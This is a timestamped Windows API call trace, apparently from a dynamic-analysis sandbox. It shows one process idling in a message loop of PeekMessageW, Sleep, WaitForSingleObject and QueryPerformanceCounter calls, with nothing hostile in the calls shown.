[0146.802] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.802] Sleep (dwMilliseconds=0x64) [0146.817] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765301422) returned 1 [0146.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765301580) returned 1 [0146.818] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.818] Sleep (dwMilliseconds=0x64) [0146.833] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765354335) returned 1 [0146.833] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765354494) returned 1 [0146.833] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.834] Sleep (dwMilliseconds=0x64) [0146.848] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765407656) returned 1 [0146.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765407814) returned 1 [0146.849] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.849] Sleep (dwMilliseconds=0x64) [0146.864] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765460978) returned 1 [0146.864] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765461135) returned 1 [0146.864] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.865] Sleep (dwMilliseconds=0x64) [0146.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765516781) returned 1 [0146.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765516977) returned 1 [0146.881] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.881] Sleep (dwMilliseconds=0x64) [0146.895] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.895] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765567760) returned 1 [0146.895] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765567958) returned 1 [0146.896] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.896] Sleep (dwMilliseconds=0x64) [0146.911] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.911] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765621126) returned 1 [0146.911] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765621309) returned 1 [0146.911] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.912] Sleep (dwMilliseconds=0x64) [0146.926] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765674532) returned 1 [0146.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765674763) returned 1 [0146.927] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.927] Sleep (dwMilliseconds=0x64) [0146.942] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765728071) returned 1 [0146.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765728253) returned 1 [0146.943] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.943] Sleep (dwMilliseconds=0x64) [0146.957] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765781140) returned 1 [0146.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765781313) returned 1 [0146.958] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.959] Sleep (dwMilliseconds=0x64) [0146.973] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0146.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765834369) returned 1 [0146.973] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765834530) returned 1 [0146.974] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0146.974] Sleep (dwMilliseconds=0x64) [0147.000] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765928084) returned 1 [0147.001] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765928280) returned 1 [0147.001] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.002] Sleep (dwMilliseconds=0x64) [0147.004] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765941411) returned 1 [0147.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765941608) returned 1 [0147.005] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.006] Sleep (dwMilliseconds=0x64) [0147.020] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=765994447) returned 1 [0147.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=765994647) returned 1 [0147.021] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.021] Sleep (dwMilliseconds=0x64) [0147.035] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.036] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766047821) returned 1 [0147.036] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766048016) returned 1 [0147.036] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.037] Sleep (dwMilliseconds=0x64) [0147.051] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.051] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766101079) returned 1 [0147.051] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766101276) returned 1 [0147.052] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.052] Sleep (dwMilliseconds=0x64) [0147.068] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766158515) returned 1 [0147.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766158699) returned 1 [0147.069] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.069] Sleep (dwMilliseconds=0x64) [0147.095] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766250240) returned 1 [0147.095] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766250421) returned 1 [0147.095] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.096] Sleep (dwMilliseconds=0x64) [0147.098] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766261012) returned 1 [0147.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766261210) returned 1 [0147.098] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.099] Sleep (dwMilliseconds=0x64) [0147.114] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766314867) returned 1 [0147.114] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766315036) returned 1 [0147.114] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.115] Sleep (dwMilliseconds=0x64) [0147.129] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766368099) returned 1 [0147.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766368270) returned 1 [0147.130] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.130] Sleep (dwMilliseconds=0x64) [0147.145] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.145] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766421203) returned 1 [0147.145] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766421372) returned 1 [0147.145] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.146] Sleep (dwMilliseconds=0x64) [0147.161] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766477829) returned 1 [0147.161] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766477998) returned 1 [0147.162] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.162] Sleep (dwMilliseconds=0x64) [0147.178] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766535580) returned 1 [0147.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766535748) returned 1 [0147.179] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.179] Sleep (dwMilliseconds=0x64) [0147.192] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766582738) returned 1 [0147.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766582884) returned 1 [0147.193] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.193] Sleep (dwMilliseconds=0x64) [0147.217] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766669453) returned 1 [0147.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766669610) returned 1 [0147.218] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.219] Sleep (dwMilliseconds=0x64) [0147.223] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766687862) returned 1 [0147.223] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766688011) returned 1 [0147.223] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.224] Sleep (dwMilliseconds=0x64) [0147.240] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766746066) returned 1 [0147.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766746263) returned 1 [0147.240] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.241] Sleep (dwMilliseconds=0x64) [0147.254] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766794721) returned 1 [0147.254] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766794917) returned 1 [0147.255] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.255] Sleep (dwMilliseconds=0x64) [0147.272] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766856452) returned 1 [0147.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766856649) returned 1 [0147.273] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.273] Sleep (dwMilliseconds=0x64) [0147.285] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.285] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766902087) returned 1 [0147.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766902289) returned 1 [0147.286] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.287] Sleep (dwMilliseconds=0x64) [0147.301] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=766956603) returned 1 [0147.301] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=766956800) returned 1 [0147.302] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.303] Sleep (dwMilliseconds=0x64) [0147.316] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.316] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767007761) returned 1 [0147.316] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767007949) returned 1 [0147.317] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.318] Sleep (dwMilliseconds=0x64) [0147.332] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767060842) returned 1 [0147.332] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767061036) returned 1 [0147.333] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.333] Sleep (dwMilliseconds=0x64) [0147.347] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.348] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767114116) returned 1 [0147.348] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767114314) returned 1 [0147.348] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.349] Sleep (dwMilliseconds=0x64) [0147.364] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.364] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767170386) returned 1 [0147.364] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767170569) returned 1 [0147.365] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.365] Sleep (dwMilliseconds=0x64) [0147.379] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767220957) returned 1 [0147.379] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767221141) returned 1 [0147.379] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.380] Sleep (dwMilliseconds=0x64) [0147.394] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.394] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767274045) returned 1 [0147.394] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767274229) returned 1 [0147.395] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.395] Sleep (dwMilliseconds=0x64) [0147.411] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767332325) returned 1 [0147.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767332506) returned 1 [0147.412] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.412] Sleep (dwMilliseconds=0x64) [0147.425] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767380660) returned 1 [0147.426] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767380846) returned 1 [0147.426] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.427] Sleep (dwMilliseconds=0x64) [0147.441] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767434358) returned 1 [0147.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767434543) returned 1 [0147.442] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.442] Sleep (dwMilliseconds=0x64) [0147.457] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.457] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767487419) returned 1 [0147.457] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767487603) returned 1 [0147.457] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.458] Sleep (dwMilliseconds=0x64) [0147.472] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767540625) returned 1 [0147.472] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767540809) returned 1 [0147.473] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.473] Sleep (dwMilliseconds=0x64) [0147.524] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.524] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767718841) returned 1 [0147.524] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767719009) returned 1 [0147.525] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.525] Sleep (dwMilliseconds=0x64) [0147.535] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.535] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767753748) returned 1 [0147.535] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767753916) returned 1 [0147.535] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.536] Sleep (dwMilliseconds=0x64) [0147.550] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767806915) returned 1 [0147.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767807055) returned 1 [0147.551] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.551] Sleep (dwMilliseconds=0x64) [0147.566] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.566] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767860220) returned 1 [0147.566] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767860362) returned 1 [0147.566] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.567] Sleep (dwMilliseconds=0x64) [0147.581] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767913936) returned 1 [0147.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767914085) returned 1 [0147.582] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.582] Sleep (dwMilliseconds=0x64) [0147.597] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.597] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=767966921) returned 1 [0147.597] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=767967061) returned 1 [0147.598] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0147.598] Sleep (dwMilliseconds=0x64) [0147.613] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0147.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=768021171) returned 1 [0147.613] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=768021320) returned 1 